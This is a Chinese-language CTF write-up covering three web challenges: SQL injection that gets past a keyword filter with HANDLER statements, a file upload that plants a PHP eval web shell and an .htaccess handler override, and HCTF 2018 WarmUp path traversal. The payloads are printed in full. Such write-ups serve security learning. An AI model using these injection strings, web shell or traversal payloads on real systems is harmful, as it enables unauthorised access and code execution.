1.18
首先打开题目出现一个姿势,然后我直接用'or 1=1#进行sql注入

然后我发现这个题目跟那个强网杯的题目很像。
然后我直接用强网杯的思路来做做试试。
于是我直接payload:
';show databases;#
得到了数据库
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
发现成功了,然后我直接继续找table
于是我直接payload:
';show tables;#
array(1) {
[0]=>
string(8) "FlagHere"
}
array(1) {
[0]=>
string(5) "words"
}
然后直接先查FlagHere那个,payload:
';desc `FlagHere`;#
根据那个'or 1=1#应该对应select concat(id,data) from *;之类的
于是我尝试用rename来操作,结果出现了
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
rename 和 prepare 都是被屏蔽的,所以这个题目跟强网杯那个题目不一样,不能通过改名和预定义sql语句来进行操作。
于是我找度娘,发现还有一种用handler来进行操作
知识:
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
于是直接payload:
';handler FlagHere open;handler FlagHere read first;#
就可以得到flag
flag{cba7b190-314e-4dbf-981a-10222d65529a}
[GXYCTF2019]BabyUpload
这个题目很常见是一个文件上传的题目
首先直接上传一个图片木马1.jpg(内容不能<?php eval($_POST['cmd']);>在这个题目中被屏蔽了)
GIF89a
<script language="php">eval($_POST['cmd']);</script>
然后上传一个.htaccess文件来使得图片以php形式执行
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后在通过bp进行抓包改文件类型为图片,然后在通过蚁剑链接就可以了。
[HCTF 2018]WarmUp
首先打开页面出现一张滑稽脸,然后按F12查看源代码发现里面有:
<!--source.php-->
然后直接输入在地址栏加上一个source.php
进入到了如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先根据代码
if (in_array($page, $whitelist))
很明显file里面必须要有source.php或者hint.php中一个。
payload:
?file=hint.php

得到了flag在的位置
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
这段代码意思就是比如说我原本
$page=ab?cde
然后把'ab'赋值给$_page
最终payload为
source.php?file=source.php?../../../../../ffffllllaaaagggg

浙公网安备 33010602011771号